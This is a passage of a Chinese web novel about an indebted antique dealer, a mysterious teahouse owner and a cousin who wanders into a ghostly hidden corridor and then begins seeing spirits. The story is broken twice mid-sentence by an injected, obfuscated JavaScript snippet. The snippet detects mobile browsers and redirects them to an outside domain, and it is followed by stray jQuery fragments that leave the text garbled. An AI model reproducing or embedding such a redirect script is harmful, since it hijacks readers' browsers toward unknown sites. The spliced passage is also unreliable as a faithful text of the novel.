《暗香》 1. 第 1 章 母校新建的图书楼要在校庆时剪彩,赵卿甫没想到,自己会收到邀请函,他没有捐建图书楼,也没有出钱购书,未有任何贡献。 卿甫随手将邀请函掷在办公桌上,他正焦头烂额,债务缠身比什么都忙。 将一些必须带走的东西从保险柜里取出,卿甫迈步离去。 两年前,卿甫和一个倒腾古玩的朋友合开一家古玩店,生意还不错。按说这年头古玩行情很好,不好的仅是找错合伙人,把他一笔采购的钱款和店中几件镇店之宝给卷了,人跑得没影。最可恶的是,那笔款项,有一部分还是买家预付的定金。 会客室与店面相邻,出了会客室,见到店里琳琅满目的古玩都蒙上灰尘,卿甫无奈叹息。他负责出钱,朋友负责经营,生意才能运转起来,现在把这堆东西丢给他,也就成堆废品而已。 将灯关掉,拉闸开店门,卿甫出店,街上热闹非常,人群如流,这条街是古玩街,这城又是古城,地段好,游客多,当然店租也贵,六十平方的俩门面,每月租金不是小数目,卿甫已经“关门大吉”半个月。 将防盗门降下,拉下店门,关严实,卿甫离去,他身后的店门上贴着张红纸,上书:“吉店转让”四字,下附一串电话号码。 卿甫刚走,一位衣冠楚楚的年轻男子走至卿甫的古玩店前,发现店门关闭,立即就看到那张红色四方纸,于是掏手机打电话。 街上人流穿行,卿甫也跟着加快脚步,熟悉的铃声响起时,他停下脚步,站在古玩街的牌坊下接听电话。 “喂?”卿甫问。 “请问你是?”街道声音嘈杂,卿甫一时没认出电话里的声音。 “卿甫,我卿年啊,我回来啦,就在你店外。”年轻男子说。 “卿年你怎么回来了?我在牌坊这里,就过去找你,”卿甫表情惊诧。 “MH中学不是要举办校庆吗?我爸来不了,让我替他参加。”赵卿年回答。 “这回捐了多少?”卿甫问。 “修了那个图书楼。”卿年回答。 卿甫人已走至卿年跟前,便将手机收起,一脸笑意。 两人年龄相仿,身高也相近,就是容貌也有几份神似,不同的是卿甫长相更刚毅些,而卿年的脸轮廓线较柔美些。 “难得回来一趟,走,我们先找个地方吃饭。”卿甫拍卿年的肩膀,要带他离开,卿年驻足不前,指着“吉店转让”的红纸,在求解答。卿甫知道他必然要问这个,回得轻描淡绘:“老刘不合伙了,我又不大懂古玩,只能找个人接手。” 既然卿甫这样说,卿年也就不多问,跟人合伙做生意总有些麻烦事,他本身也经商,自然清楚这个道理。 两人一同出古玩街,卿甫去附近的停车场将车开出,载上卿年。此时已是正午,卿甫想带卿年去附近一家常去的酒店,问卿年想吃什么?卿年回答:“就想吃点家乡菜。” 卿甫笑说:“你也吃不腻。” 他们两人是亲戚,都是“卿”字辈,卿年父亲离乡谋生,攒下可观家底,便时常回家乡搞公益,捐建学校,修个路什么的。 卿年跟父亲回来得频繁,和卿甫家熟稔。 两位衣着光鲜的年轻人,对坐在一家普普通通的餐馆里,听着菜市场喧闹的声音,吃着本地美食。 卿甫搁上筷子,悠然道:“这回有什么想带回去的土特产?” “写上面了。” 卿年光顾吃,用右手将大衣口袋内的一张小纸条夹出,声音含糊。卿甫接过纸条,扫视一眼,就将纸条收起,看着埋头将碗中最后一点汤水都喝光的卿年,不解问:“你回来,怎么不通知我去接你,行李放哪了?” 卿年抽纸,将油嘴擦干净,回答:“祖宅,上回不是跟你拿过钥匙嘛。” “我现在也住那里。” 卿年懵怔了好一会,而后才问:“你是不是经济上出问题了?” 卿年知道卿甫在闹市有套房子,突然搬回去祖宅住,总是有原因,再则那店铺不是经营得好好的,怎么突然要转让? “老刘卷走一笔钱跑了,店铺缺人经营只好转让。我城中住腻了,搬回老宅换个环境。”卿甫没打算瞒卿年,瞒不住。 卿年立即问:“卷走多少?” 卿甫摆手,淡淡说:“我要真有困难,肯定找你挪些钱,放心,还用不上你。” 两人虽然不是亲兄弟,但交情很好。 “知道他人逃去哪里吗?” “危地马拉。” “他至于吗?”卿年笑了。 “至于,光赌债就欠了数百万。算了,就当是破财消灾。” 卿甫这样说并不是他对钱不在乎,他对钱可在乎呢,问题是现在讨是讨不来了,那些损失只能当浮云。 两人出餐馆,卿年坐上卿甫的车回祖宅。 祖宅,由卿甫的曾祖父(亦是卿年的曾祖父)营建,颇为气派,座落于市郊,那地方居民少,显得荒凉,但也因此落得清净。 宅子是木制结构,由于年代久远,修护费用不便宜,要防蚁,要髤漆,院子里的草木也需有人养护、修剪。 宅中老家具还剩不少,几番遭贼,所以卿甫时常前去查看门窗,修葺与养护的事,近来也都是卿甫在负责。 将车开进院子,卿年先出车厢,在外头说;“你居然种了这么多花,去年我回来,院子里还只有几棵树。” 卿甫将车开进车库,出来才说:“闲闲无事,种点花草。” HM中学由卿年的父亲捐建,何况这回建图书楼的花费仍由他爹出,卿年一到学校便受到热烈欢迎。 卿年被人群拥蔟着离开,卿甫找了处清闲的地方待着,他先是在图书楼走廊歇息,见剪彩仪式还没开始,便进阅读室随手拿了本杂志翻阅,不一会儿,楼下传来聚集的声音,卿甫放下杂志起身要走,不想手臂碰到桌面上垒起的一堆书籍,一本书“啪”一声落地。 卿甫弯身想捡,低头见到一双干净的布鞋,显然有人走了过来,并且此人还低下身,伸出修长的手指将那本书拾起,递给卿甫。 卿甫抬头对上对方的笑容,一时懵住,没有了回应,好一会才想到要将对方递来的书接下。 这是位二十多岁的男子,仪貌秀雅,穿着很普通,就那双黑色的布鞋有些怪异,布鞋还绣着两个字:“暗香”,男子背后负了张琴,罩着琴衣。 卿甫接过书本,心中不解这人为何对他笑,因为那笑容很亲切,是那种熟人间才会露出的笑容。可能他们以前见过,负琴男子胸前别有贵宾花,显然也是受到邀请的客人,说不定是位校友。 将书放回原处,卿甫出阅览室,负琴男子很快也出来,楼下传来召集的喇叭声,剪彩仪式即将开始。卿甫走在前头,负琴男子走在后头,卿甫停在楼梯口整了整衣服,负琴男子正好下来,见到卿甫,嘴角仍挂着一抹淡雅的微笑。 “请问,我们以前是不是见过?” 卿甫觉得男子身上,莫名有种让他怀念的气息。 “陈先生,我读过你的书。”负琴男子亲切地伸出手,他的手白皙漂亮,像是双女人的手。卿甫错愕,出于礼貌,他握住负琴男子的手,说道:“你好。” “《燕云》写得极好,令人爱不释手。” 负琴男子赞誉,从他的眼神和表情,都说明他的赞誉发自内心。 “这本书销量很少。”卿甫显得很诧异。 见卿甫这样说,负琴男子也笑了,又补充一句:“至少我很喜欢。” 两人并肩朝图书楼下设置的礼台靠近,礼台那边,受到邀请的人士都已陆续靠集,抵达礼台下,卿甫自然也就和这名负琴男子站在一起,他们站在最外围,没去关注礼台上的演讲。 “我名片。” 负琴男子从口袋里取出一合名片盒,抽了张名片递给卿甫,卿甫接过,见上面写着“暗香茶馆馆主朱觐灵 ”几个字。 见到这张名片,卿甫才想到当地有家茶馆很有名气,就叫“暗香茶馆”,位于镜湖附近,只是他从未去捧场,没想到今日竟让他遇到该茶馆的馆主,更没想到馆主年纪这么轻。 “陈先生有空来茶馆坐坐,我很想招待你。” 觐灵面带微笑,很殷勤。 卿甫感到意外,生意人说客套话是寻常事,但这人说得话很真挚,绝非客套。 正闲聊间,鞭炮声响起,打断两人的对话,台上的人陆续走下,朝拉有红绣球的图书楼正门口方位走去,台下众人也跟随过去,沸沸扬扬,卿甫不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14691848|156959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动弹,觐灵也是,两人留在原地。 “你不过去吗?”觐灵问。 “我嘛送人来,司机。”卿甫找个远离鞭炮的地方站着。 “我来送琴。”觐灵莞尔。 “不是你的琴?” “不是,一位老同学托我帮他女儿的琴调弦,正好他要来参加校庆,就一并带来。” “我们去那边坐会?” 卿甫做出请的姿势,此时的他早将正在剪彩的卿年抛到九霄云外去了。 图书楼靠近操场,外头有几排供人休息的长木椅,卿甫找了一处坐下,觐灵坐他身旁。 手机铃声在此时响起,觐灵接通电话,只听见他说:“则成,我在教师楼下,好好,你过来。”立即站起身,朝图书楼的方向望去。 卿甫有些好奇,就也站起来,朝同一方向望去。没多久,走来一位高大男子,三十出头,身后还跟个文秘模样的人。 男子衣着光鲜,派头十足。 这幅模样实在有些出乎意料,卿甫还以为不是这人时,觐灵人已经迎过去,唤道:“则成。” 李则成看向觐灵,也看到站在觐灵身边的卿甫。 卿甫察觉这人投来的目光似乎不友善。 “觐灵,麻烦你将琴送来,琴修好了?” “琴没问题,我已经调好弦,可以弹奏了。”觐灵将琴取下,递上。 “小林,你拿着。我女儿最近在学琴,琴刚买来就给弄坏了。好在想到你懂这些东西,带过来找你。”李则成没接过琴,而是示意身后的秘书接过。 “这张琴不便宜,音色很好。”觐灵跟李则成说话,没有留意卿甫人已走过来,李则成打量卿甫,接着又看向觐灵,问:“这位是?” 觐灵回头,看见站在一旁的卿甫,一时不知道该怎么介绍。 “朋友。”卿甫回答。 “看来是新交的朋友,我以前没见过你。”李则成看卿甫的目光确实不友好,甚至有那么点敌意。 “觐灵,酒宴定在XXX酒店,我送你。” 李则成不再理睬卿甫,只顾与觐灵说话。 “我开车来,你先过去。”觐灵谢绝。 “那好,酒宴后,我们好好叙叙,实在是好些年没见了。” 李则成忽然靠近,在觐灵耳边说着什么,而后以几乎不让人察觉的动作,在缩回手时,手背轻轻蹭过觐灵耳边的发丝。 这是个暧昧动作。 此时,剪彩已完毕,鞭炮声中,众人散会,人群朝大门口走去,停车场也在大门口一侧。 卿甫的手机响起,他接听,果然是卿年在找他,问他人在哪,卿甫回:“我就过去,你去校门口等我。”他挂掉电话,看向觐灵:“一起过去,你车也停在门口吧?” 觐灵没说什么,他跟在卿甫身边,一起朝校门口走去。 两人不再交谈,靠近校门,站门口的卿年急忙朝卿甫赶来,卿年见到觐灵,十分好奇,毕竟对方的装束有点奇怪。 卿甫想到觐灵说他开车过来,便和觐灵辞行,他进停车场把车开出,卿年上车,车门关上,刚要启动,却见觐灵仍站在原地,一动不动。 卿甫猜测这人根本没开车来,大概是为了拒绝对方同乘的要求才说谎。 摇开车窗,卿甫朝觐灵挥手,大声说:“上来,我载你。” 觐灵没有拒绝,上了卿甫的车。 车开上路,卿甫跟觐灵介绍卿年,又向卿年介绍觐灵,说是校友,在镜湖开了家茶馆。 卿年对觐灵尽问些茶点的事情,看来无时无刻,他都惦记着吃。 觐灵逐一作回答,他为人恭谨,进退有度。 车开到XXX酒店,卿甫没开进酒店停车场,而是在路旁将卿年放下,说:“我就不去了,你这个主角却是不去都不行。” 卿年无奈,只得自己下车。 他下车后,觐灵仍安坐不动,问卿甫能将他载到HJ街吗? “你也不进去吗?”卿甫颇为意外。 “不去,店里还有事。”觐灵如此回答。 车开进HJ街,卿甫问觐灵他家茶馆的位置,觐灵指路。 卿甫将觐灵送至茶馆前,觐灵下车道谢,卿甫见茶馆门面的装潢古香古色,内部清雅别致。 2. 第 2 章 开车回家的路上,卿甫想着朱觐灵和那间叫“暗香”的茶馆,这家茶馆存在的年代很久了,由于早年当地茶楼众多,它夹杂于里边,一点也不起眼,后来茶楼倒闭大半不止,这家茶楼还生存着,便也就有了名气。 近些年,这家茶楼成为当地文化人的聚集地,生意据说相当不错。 回老宅,将车停好,卿甫的手机响起,一接是位老熟人打来的电话,这个老熟人也是他合伙人老刘的朋友,外号叫老罗头。 “你那间店转出去没有?”老罗头问。 “没呢,有几个有意向,还在谈价。”赵卿甫背贴着椅子,手轻扣方向盘。 “这样吧,我们合伙怎样?你也知道我没那么多钱盘下你的店。”老罗头本身也搞收藏,对古玩行业熟悉。 赵卿甫迟疑了,老罗头中风,行动不便,怎么会突然想跟他合伙。 “我腿脚不好,会派我儿子过去看店,那小子应付得来。”老罗头连卿甫在担心什么都知道。 “老罗头,你儿子不是学画的吗?怎么想来倒腾古玩?”卿甫见过老罗头的儿子,虽然说虎父无犬子,但毕竟不熟悉。 “家族遗传。”老罗头回答。 古玩收藏还真是门家学没错,不过经商的传统,老罗头也没继承呀。 “行,我们约个时间谈谈。” “现在有空吗?”老罗头显然不是心血来潮,或许他早把合伙事宜都想好了。 老罗头家境富裕,就是绝大多数收入都花费在收藏上,他要肯把他几件“宝贝”变现钱,盘下赵卿甫的店完全没问题。 就是这人只进不出,不知掖着藏着多少好东西。 老罗头去年中风,行动不便,到现在仍在坐轮椅,听到铃声,出来接客的是老罗头的儿子,名叫罗仲敏。 罗仲敏年纪与赵卿甫相仿,长得斯斯文文。 仲敏请卿甫到客厅坐,并将书房里的老爹老罗头推出来,三人一起泡茶聊天。 “早就跟老刘说再赌下去要倾家荡产,他就是不听。搞收藏已经是一大恶癖,谁想他竟然还染上赌博,不可救药。”老罗头第一句话,便是说起赵卿甫已经跑路的合伙人老刘。 “卿甫,老刘他家中有件明代青花,一直密藏不让人见,他就是砸锅卖铁也不会转手,你应该去找他老婆要。”罗仲敏和老刘没交情,他想到这件器物足以挽回赵卿甫的损失。 “我们合伙时,那件青花罐就已经易手,也就几个人知道。他家中倒是还有些东西,不过他的债主也不只我一个,早让债主拿光了。”卿甫摇摇头,他现在早就不奢望讨回损失。 “卿甫,你是个君子,我听说老刘骗走客户不少定金,还是你自掏腰包把这笔钱还清。”老罗头之所以找上赵卿甫合伙,就在于这人有信用,值得信任。 “遇到这样的事情,也无可奈何。”卿甫可不乐意被人一纸诉状告上法院,反正老刘是跑路了,还不是告他这个合伙人,仍得由他来承担。 “确实无可奈何,人如今也逮不到,就是逮着了,钱财多半也被挥霍干净。卿甫,如果你同意,明日或是什么时候,我们一起过去核计下店中货物。”仲敏是真心想合伙,听他这个口气,肯定已经准备好合伙的钱。 “对开的话,我同意。”卿甫可不想再承担全部的风险,当初老刘就出了点钱,只因为他有经营能力,就成为他的合伙人。 罗仲敏与老罗头对视,交换意见,然后仲敏笑笑说:“我现在可没那么多钱,不过下个月能凑齐。” 卿甫没想到对方这么干脆,便说:“有空的话,明日一起去核计店中货物,租金装修费用之类,具体再谈,单据都在店里。” 仲敏点了点头。 傍晚,喝得醉熏熏的卿年由同席的人送回来,卿甫把他架进寝室,丢在床上,随便拉条被子盖上。 卿年呼呼大睡。 独自前往书房,卿甫坐在电脑前。 夜深,独自坐在书房,赵卿甫默默写稿,写完一段,正在构思后续剧情,忽然瞥见桌面角落的□□跳个不停,点开一看,□□群里一片沸腾,原来是有人说自己要结婚了,群友齐发祝福。 卿甫想了一会,才想起这人是谁,敲下三字:“恭喜啊。” 是学生时期短暂交往过的女友,后来再没怎么联系。 这么多年来,卿甫的情感几乎空白一片,也许,他从来就没有真正恋爱过。 察看其他新信息,读到一位杂志社的编辑发来信息:“卿甫啊,我读了你的稿件,发现你这人有梅花情结。” “我上回还写了渔父,那是不是有退隐心理?” “不承认就算了,对了,明晚将在暗香茶馆聚会,你看在‘暗香’两字的份上,请务必一定要来。” “小吴,看情况。我家里来客人,多半去不了。”卿甫敲下这行字。 暗香茶馆。 卿甫把脚搭在电脑桌上,身子仰向椅背,悠然地琢磨这四字。去了能见到暗香茶馆的馆主朱觐灵吧。 疏影横斜水清浅,暗香浮动月黄昏。 茶馆的名字,应该就是出自这句诗。 卿年第二天早上被电话吵醒,原来是他老爹打来,问他土特产买了没,卿年睡迷糊了,随口回:“已经和卿甫去买了。” 卿甫载上卿年上街采购土特产,逛了大半天,拎上大包小包往车内塞。 车开回家,两人将东西搬进屋,已经是午后。 卿甫想到杂志社的邀请,又想卿年这人喜欢热闹,就问卿年要不要去暗香茶馆,他要去参加一个聚会。 不用问也知道,卿年很有兴趣。 由于昨天才来过暗香茶馆,卿甫认识路,很快在暗香茶馆附近找到停车的地方,他和卿年徒步走至暗香茶馆,卿甫打小吴编辑的手机:“小吴,你们在哪间?好,这就过去。” 卿甫带卿年进入茶馆,只见大厅装修别致,左侧安置有木椅茶桌,让等候的客人歇脚,右侧楼梯附近有询问柜台,卿甫是第一次来,便上前询问二楼兰间的位置,刚做询问,便有位礼仪小姐过来领他们上二楼,并将他们送到兰间门口。 二楼大厅正中摆满桌子,昏黄灯光下,已经有好些客户,三三两两在一处低声交谈。小吴他们在包间,二楼有四间大包间,而小吴订的那间包间,门上有兰花的小镂雕。 卿甫与卿年都身材高大,长得也十分帅气,两人一起进入包间,包间内的几位年轻女性便窃窃私语,好奇这两人是谁。 小吴急忙介绍卿甫,卿甫则介绍卿年,说是他堂弟。 卿年是第一次参加这类聚会,十分有新鲜感,卿甫则是老油条,他与人寒暄几句,就自顾吃喝及招待卿年吃喝。 两人安坐不久,便有人来搭讪卿年,卿年本地话和普通话虽然都不够流利,但他是个自来熟,很快就跟在座的人打成一片,反之,卿甫除了最开始和众人逐一认识,打个招呼外,几乎只跟小吴和卿年交谈。 “不错不错,你还记得多带个帅哥过来。”小吴奖励卿甫,给他倒茶。 卿甫没留意小吴在说什么,他目光落在上菜的小哥身上。这里的服务员身上穿的衣服与一般茶楼无异,特别的是他们脚踩的布鞋为黑色,鞋面上绣有“暗香”二字。 想来觐灵那天穿的鞋子,就是茶馆里服务生穿的。 “你认识这家茶楼的老板吗?”卿甫低声问小吴。 “听说过,不曾见过,你认识他吗?”小吴反倒问卿甫,见卿甫没什么回应,又自顾说;“听江湖人传言,赫赫有名的暗香茶馆朱老板神出鬼没,不是那么容易见到,反正是挺神秘的一个人。” 喝茶闲聊许久,卿年起身问服务生洗手间在哪,服务生指了方向,卿甫目送他离席。 过了好一会儿,还不见卿年返回,低头看表,确认卿年出去已有二十分钟,卿甫拨打电话,电话不通,他起身离席,出去找人。 虽说卿年是个二十好几的大块头,但是这家伙有时候会犯迷糊。 询问门外的服务生,卿甫朝洗手间的方向走去,一进洗手间,果然没有卿年的身影。 怪了,跑哪去了? “喂,卿年,你上个洗手间也能走丢?”卿甫再次拨通卿年的手机,这回终于打通了。 卿年的声音迷迷糊糊,回了句:“我撞邪了。” 这句话,可以做两种理解,一是遇到了什么古怪的事情;二是真得遇见鬼。 “你人在哪里?”卿甫问。 “洗手间外面不是有条很长很暗的过道通往另一处大厅吗?我在那里。”卿年回。 卿甫在洗手间外面兜了一圈,哪有什么“很长很暗的过道”,“另一处大厅”四周灯火通明,一览无余,卿甫纳闷:“确定你在二楼洗手间?” “确定,卿甫,我想我真的撞邪了,我找不到路出去,而且……”卿年的话语带着惊慌。 “而且什么?” “很古怪,有些穿古装的人在里边喝茶,他们说的话我全都听不懂。” 好一会才传出卿年的声音,他的声音已经由惊慌转为惊愕了。 “你别挂电话。”卿甫在墙面上搜索,看看有没有暗门之类的设置。 一位服务员过来,问卿甫在做什么。 卿甫没理会,要再与卿年联系,发现通话已经挂断,再拨竟然打不通了。 服务员见卿甫没搭理他,便去喊来经理,经理是位中年男子,很淡定问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14691849|156959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卿甫这是在做什么。 “我一位朋友在上洗手间时失踪,你们茶楼难道有座密室?”卿甫自己都感到不可思议。 经理将卿甫劝进一间空荡无人的包厢:“请先别急,告诉我具体情况,他失踪多久了?” 卿甫对经理的反应很吃惊,因为经理似乎相信这里真得能失踪人。 “大概三十分钟。”卿甫回道。 ”你怎么知道他失踪了?”经理又问。 “刚通过电话,不过现在电话打不通。”卿甫继续拨打卿年的电话,仍旧不通。 简略将自己与卿年的对话陈述,卿甫本担心经理不信,却不想经理很冷静地拿起自己的手机,拨了个电话,低声说道:“茶馆有客人失踪。” 接电话的人大概是下了什么指示,经理把电话挂掉,看向卿甫,说道:“馆主会过来处理,先生不要着急。” 这事极其古怪,卿甫满腹狐疑。 虽然只是一面之缘,但觐灵给他的印象不错,不像是从事非法营生的人。 姑且等待馆主,再报警不迟。 等待过程中,卿甫一再询问经理到底是怎么回事?难道这里经常失踪人吗?可惜经理不肯开口。 卿甫的耐心已经消磨光,他不停打卿年手机,当然手机也一直处于不通状态。 就在卿甫决定报警的时候,觐灵出现,他见到卿甫,显然极其吃惊:“赵先生,是你。” “朱馆主,我朋友在你家茶馆失踪。”卿甫见到觐灵,上前与他交谈。 “你朋友长什么模样,有照片吗?”觐灵问得很认真,似乎也很淡定。 “你见过他,校庆那日,坐我车那人。”卿甫回答。 觐灵诧异,喃喃自语:“不可能啊。” 卿甫忙问:“什么不可能?” 觐灵没回答,反倒说:“赵先生你在这里等一会,我将他带出来。” 说完这话,人竟转身要离开,卿甫急忙将他拽住,激动问:“你要将他从哪里带出来?洗手间外面只有一堵墙!我找过了,根本没有什么过道!” 觐灵拉开卿甫的手,卿甫还不放弃想再拽住觐灵,却被经理给拦住,说道:“你还想不想再见到你的朋友?” “赵先生,给我十分钟,我将你朋友带回来。”觐灵的眼神恳切。 “我和你一起去。” “请相信我。” 觐灵那近乎恳求的语气让卿甫松开了手,等他回过神来,觐灵已经离去。 他现在心里有诸多疑问,需要有人回答他。 显然经理不能,经理肯定知道内幕,但口风很紧,觐灵讳莫如深的模样也十分诡异,这间茶楼,难道真有什么不得了的秘密? 九分钟——卿甫看着表,觐灵出现,身后跟着卿年,卿年一脸茫然,喃喃自语:“我一定是在做梦。” “这下可以告诉我到底是怎么回事了?”卿甫质问觐灵,觐灵点了下头,不过他说的是:“请务必帮我保密。” 正在这时,卿甫的手机响起,小吴正在找他,以为他与卿年先行离开。等卿甫通完电话,觐灵人已离开,简直是来去无影。 卿甫没再回去参加小吴他们的聚会,而是载着兴奋不已的卿年一起回家。在车上,卿甫让卿年告诉他到底发生了什么事。 “这事我也说不清楚,我当时从洗手间出来,看到后头有一条通道十分幽深,就走进去,结果你也知道,我迷路了。过了一会儿,突然看见朱馆主,是他把我带出来,就这样。”卿年如此说。 “就这样?”卿甫皱眉。 “也不只是这样,那条过道古怪得很,通往一处大厅,大厅内的装潢跟外头都不同,还有一群穿古装的人在喝茶,他们说的话我听不懂。有人见我惊慌失措,便请我过去一起喝茶,我喝会茶,朱馆主突然出现,说我不应该在这里,就带我出来了。” 卿年说至此,又激动起来 “我记得我当时进去是条过道,出来后,我特意回头去看,结果什么也没有,就一堵墙!你说这怎么可能!” “那里就是一面墙,没有什么过道,我确认过了。”卿甫还是第一次见到有这么离奇古怪的事情。 “那。。。我真得见鬼啦?我还跟他们喝茶,完了,不知道喝的是什么。”卿年惶恐的扼住自己脖子,他现在想将喝下的东西吐出来显然是不可能了。 “卿甫,你载我去寺庙里拜拜吧,我明天就要上飞机。”卿年这人很迷信,出门都会烧香拜拜,何况他刚撞邪了。 “现在这么晚,寺庙也不开放。”卿甫心里已经有个认识,觐灵这人十分神秘,而这暗香茶馆,也实在诡异。 没关系,他有觐灵的名片,可以打电话好好问下他。 3. 第 3 章 回到家中,卿年没进屋前,就指着院子问卿甫:“你是不是请了个人照料院子?怎么有位老头在这里。” 卿甫朝卿年所指的方向看去,哪有什么老头,一个人影也没有,脸露迷惑。见卿甫的样子,卿年愕然,低喃:“你看不见吗?” 卿甫面无表情问:“什么模样?” 卿年颤声回“六十多岁,穿件褐色中山装,拿着拐杖,看着很严厉。” 现在哪还有人做这样的打扮啊。 “拐杖有龙头吗?”卿甫问这句时,表情淡漠,他已经猜出是怎么回事了。 “卿甫,你认识?”卿年舒口气,看来他多虑。 “认识,我祖父。”卿甫手指堂前的几张遗像,其中一副遗像所绘之人,便是同样的打扮。 卿年立即拽住卿甫的袖子,惶恐地说:“你祖父不是去世了!我又撞邪了!” “这是亲人,撞什么邪。我祖父生前很喜欢在院子里摆弄花草,多半是他有残念留在这里。”卿甫原本是的无神论者,这次说出这样的话,也出乎自己的意料。 两人进屋,卿年还是畏畏缩缩的样子,显然是害怕再看到什么不明物体。这栋宅子年代久远,说不定还有其它留有残念的鬼魂。 也不怪卿年胆小,他一进正厅,便有位十二三岁的小女孩朝他奔来,他来不及躲避,女孩就从他身体穿过,被穿透时,卿年浑身颤抖,脚一软瘫在地上,好在卿甫眼疾手快急忙搀住他,才不至于头磕在地上。 “是个女孩!刚从我身上穿过!”卿年大力抓住卿甫,失控地大叫。 卿甫见不到这些东西,但是卿年的恐惧可不是装出来的,由于深受恐吓,卿年脸色苍白,身子颤栗不止。 坐在房里,卿年不时警惕地打量四周,像是怕再有什么古怪的东西冲出来吓唬他。 “给,我在抽屉里翻出了一串佛珠。”卿甫将佛珠抛给卿年,卿年接住,急忙将佛珠缠在手腕上。 有了这串佛珠,他脸色似乎恢复些许血气,倒不是这佛珠真的有什么大法力,主要是心理作用。 这事得有个解答,卿甫想。 卿甫取出钱夹中觐灵给他的名片,拨打电话。 觐灵接到卿甫的电话,并不感到意外,而且卿甫未开口说出找他的缘故,他便缓缓说:“他在里边喝了茶,大概会持续几天,之后就会恢复正常。” “朱馆长,你欠我一个解答。”卿甫语气严肃。 “你那位朋友心性淳正,想来,他能见到的东西,必然不会对他造成伤害。”觐灵看来并不肯告知卿甫真相。 “他受到不小惊吓,惊吓难道不算伤害?”如果谈话的对象不是觐灵,卿甫此时就不会这么和气。本来只是去喝个茶,结果出了这样怪异的事情,茶馆的主人居然还不给解释,跟他说什么不要紧。 觐灵一阵沉默。 “告诉我你那间茶馆究竟是怎么回事?为什么我看不见那个过道?为什么卿年会被鬼魂骚扰?”卿甫心里有一堆的疑问。 为什么他看不到那条过道,而卿年能看到,显然觐灵也能看到。 “赵先生明日如果方便,我再仔细与你说。”觐灵的叹息声从手机中传来,他显得无奈,却又受着卿甫的逼迫。 “明日来不及,他一早就要上飞机,而且现在看来,他这幅模样恐怕挨到天明都困难。”说这话时,卿甫转头去看卿年,卿年仍旧是心神不宁,口中还在低声念着什么,精神状况让人担忧。 如果这样的事情让卿甫撞见,卿甫不会吓成卿年这样,这就在信与惧的缘故上。平日信世间有这些东西,由此见到了,便惊恐不已,而卿甫不信,心里也没有恐惧,即使见到,也不至于害怕,反倒会想没有实体的东西能干出什么事来。 “赵先生,请给我你家地址。”觐灵没想到对卿年的后续影响这么大,意识到事情的严重性,决定过来解决问题。 “你家在哪,还是我们过去找你方便。”卿甫提议。 获得觐灵家的地址,卿甫载上卿年前往。 一路上卿年都把头埋下,他实在不想再见到任何不属于这世界上的东西,被那小女孩穿过身体的恐惧感,估计要持续好几天。 觐灵的家就位于镜湖畔,离暗香茶馆很近,卿甫是本地人,对这一带很熟悉,很快就找着觐灵的家,果然是栋老宅,带着一个大庭院,颇为气派。 将车在门口停下,觐灵听到车声,出来开门,请两人进屋。 还没进屋,就听到卿年急忙说:“车上谈行吗?我不想进去。” 此时,在卿年眼前,觐灵家的院子不只觐灵一人,还有两位坐在石桌前对弈的年轻男子,穿交领古装,另有一位穿着长褂的老人正拿样瞪他。 “只有孩子莽撞些,放心,他们不会伤你。”觐灵安抚卿年。 卿甫什么也看不见,不过他也猜到卿年的不安和觐灵的话是怎么回事。 觐灵说卿年心性淳正,大概要具备这样的条件才能进入那条“过道”?并因此获得看见鬼魂的能力? 心性不淳正的卿甫没有这样的“待遇”。 “你说我几天后就能恢复,大概要几天?”卿年实在是不喜欢这种“超能力”,他压根不想看到这些东西。 “两三天,里边坐吧。”觐灵将两人引进大厅,还没进厅,就见一位高大男子从里边走出来,卿甫见到,颇为惊讶。 这位高大男子正是李则成,他脚下踩双拖鞋,看那幅悠然模样,就像是住在觐灵家中一样。 李则成也认出卿甫,双手抱胸,站在大门口,一副不欢迎的模样。 氛围似乎不大对劲。 卿年不解,看了眼李则成,又回头看向卿甫。 “李老板,你好。” 卿年在校庆上认识李则成,他们两人还在酒宴上坐一桌,一起喝过酒聊过天。 李则成这才留意到卿年,上前握住卿年的手,热情说:“觐灵说你进了‘通道’,那地方可不是什么人都能进,我以前试过几次,都没成功。” 卿年无奈回:“我也不想进去啊。” 李则成招待来客,跟一家之主似的,他对卿甫十分友善,对卿甫则不搭理。 “朱馆主不用泡茶,我和卿年今天喝了许多茶。”卿甫唤觐灵过来坐下,觐灵在靠近卿年的位置坐下,慢条斯理地为众人倒茶。 “朱先生,有什么办法,能让我不必再见到这些东西吗?”卿年端茶呷了一口,眼神不安地落在大厅一角,那个角落有张太师椅,上面坐了一位盛装的民国女子。 “如果你当他们不存在,他们便也就干扰不到你,你不必一直看着她。”觐灵回答。 “你怎么能适应呢?你都能看见,怎么还能习惯有这些东西在你身边。”卿年说时不禁抖抖肩膀,他实在不想看到鬼魂。 “屋内也有?”卿甫看不到,本不该去在意,不过难免感到不自在。 “你认为呢?”李则成的口吻带着嘲意。 卿甫向觐灵询问:“朱馆长, ‘通道’是怎么回事?” “我来告诉你好了。”李则成说。 “则成,你来说,我去拿件东西。”觐灵离开座位,进屋去。 “按你们文人的说法,这座城市是文化古城,也就是地下层层叠叠都是各朝各代的遗址。暗香茶馆那地方,可能以前就有间茶馆,这个以前是指古代,也可能那片区域位于镜湖畔,一直就是用来开茶馆的地方,谁知道呢。”李则成才不理会卿甫愿不愿意听他说,他倒像是说给卿年听。 “然后呢?”卿年听得特别认真。 